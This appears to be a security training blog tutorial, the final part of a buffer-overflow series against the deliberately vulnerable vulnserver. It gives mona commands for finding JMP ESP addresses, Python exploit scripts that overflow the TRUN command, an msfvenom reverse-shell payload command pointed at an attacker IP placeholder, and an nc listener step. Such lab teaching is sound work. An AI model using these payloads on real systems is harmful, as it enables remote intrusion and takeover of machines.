Table of Contents

Join Our Membership To Start Your Cybersecurity Journey Today!

Shell via Buffer Overflow

This is the last article in the Buffer Overflow series. This article will cover finding the right module and then finally, we will generate shellcode to gain shell via a buffer overflow.

Recap

So far we have gone through the following Buffer Overflow steps

  • Spiking
  • Fuzzing
  • Finding the Offset
  • Overwriting the EIP
  • Finding Bad Characters

Having performed these steps, we have the following information from each of the above steps

  • TRUN is the vulnerable command (Spiking)
  • The program crashes at around 20500 bytes (Fuzzing)
  • We have an exact match at the offset 2003 for controlling EIP (Finding the Offset)
  • We are able to overwrite the EIP and control its value (Overwriting the EIP)
  • There are no bad characters (Finding Bad Characters)

Buffer Overflow Step 6

Finding the Right Module

Now when finding the right module, we are looking for some dll or something similar in the program that has no memory protections including DEP, ASLR, SAFE SEH, etc. For this, we will use the tool Mona that we can use within Immunity Debugger.

Setting up Mona

For setting up Mona with Immunity Debugger, first download mona.py and save it in the following folder path

C:\Program Files (x86)\Immunity Inc\Immunity Debugger\PyCommands

Protection settings for the program

Now with the vulnserver attached to the debugger, run the command !mona modules in the bottom command bar as below and hit Enter

This will open a new debugger window as below

Here the table below Module info shows the protection settings for the attached program. Among all, we are interested in the module(s) attached to the vulnserver. See the below image for a clearer image of the table

Here we can see essfunc.dll is with the vulnserver. So we will target this dll for exploitation.

The next step is to find a valid JMP ESP instruction address so that we can redirect the execution of the application to our malicious shell code. For this, we can use nasm_shell to find the opcode for JMP ESP. So, locate the nasm_shell using the command locate nasm_shell and then execute the nasm_shell.rb script. It will show you a nasm prompt, just type in JMP ESP and it will give you the opcode as below

Finding return addresses against the opcode

Now we need to find the return addresses against the JMP ESP opcode so that we can put that return address in the EIP value. For that, go back to the debugger, and in the command bar, type the following command

!mona find -s "\xff\xe4" -m essfunc.dll

This command will search for the hex string “FFE4” in the essfunc.dll module and give us the return addresses as below

Here we have a total of 9 pointers/return addresses

0x625011af
0x625011bb
0x625011c7
0x625011d3
0x625011df
0x625011eb
0x625011f7
0x62501203
0x62501205

Putting pointer in EIP

Now, we need to modify the script to put the return address of JMP ESP in EIP. We will try with each return address until we are able to put at least one in the EIP.

import sys, socket
from time import sleep

shellcode = "A" * 2003 + "\xaf\x11\x50\x62"

try:
    payload = "TRUN /.:/" + shellcode
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('192.168.37.131',9999))
    s.send((payload.encode()))
    s.close()

except:
    print(f"Error connecting to server.")
    sys.exit()

Note: Here you can see that I tried the address 625011af but wrote it backward as af115062. This is because of the x86 architecture little endian mapping.

Setting a breakpoint

Now restart the debugger and attach the vulnserver. Before running the program, press the Go to address in Disassembler (blue arrow button right below Options in top menu) as below

Clicking this will open a window to put the expression. Type the address 0x625011af and hit OK

This will bring up the address in the disassembler window as below

As you can see it has the opcode FFE4 for the command JMP ESP. We need to set the breakpoint at this address so that when the EIP value is written with 625011af, we get a breakpoint. To set the breakpoint, just hit F2 key and the address will turn blue

Now, run the program and then execute the script from Kali. Following is the output in immunity after running the script

The breakpoint is not hit and we get Access violation while executing error in the bottom bar.

Note: This may not be the case with you and this address might work for you. After a bit of playing around, I was able to get this address 625011af working by reducing the number 2003 to 2002 but I'm still figuring out the reason for that.

Since this did not work, we can try other addresses and the addresses that worked for me are

0x62501203
0x62501205

So, with any of these addresses, the output in the debugger was as below

Breakpoint is hit and now we are good to go with shellcode generation and gaining shell via buffer overflow.

Buffer Overflow Step 7

Generating Shellcode & Gaining Shell Via Buffer Overflow

The first step is to generate the shellcode. For this, we can use the msfvenom and the following command

msfvenom -p windows/shell_reverse_tcp LHOST=<ATTACKER IP> LPORT=<ATTACKER PORT> EXITFUNC=thread -f py -b "\x00" -e x86/shikata_ga_nai
  • -p specifies that we want to use windows/shell_reverse_tcp as payload
  • LHOST will be equal to the Kali Machine’s IP
  • LPORT can be set to any port that we want to listen on
  • EXITFUNC is set to thread to make the shell stable
  • -f specifies the output format as py for python
  • -b specifies the bad characters and since we don’t have any bad characters in vulnserver and \x00 is by default a bad character, we set it
  • -e is for encoding that we want to encode our payload with and we will be using x86/shikata_ga_nai

Running the command will give an output similar to below

For the last time, we need to modify the script to put the shellcode as below

import sys, socket
from time import sleep

buf =  <SHELLCODE FROM MSFVENOM>

shellcode = b"A" * 2003 + b"\x03\x12\x50\x62" + b"\x90" * 200 + buf

try:
    payload = b"TRUN /.:/" + shellcode
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('192.168.37.131',9999))
    s.send((payload))
    s.close()

except:
    print(f"Error connecting to server.")
    sys.exit()

Here you can see I have set all strings as bytes because our shellcode is in bytes.

In another terminal, start the nc listener using command nc -nlvp PORT.

Now, close the debugger and simply run the vulnserver normally, and then in Kali, run the script. You will receive a reverse shell in the listener as below

Resources

Please see some amazing resources I found helpful during BOF learning

Scroll to Top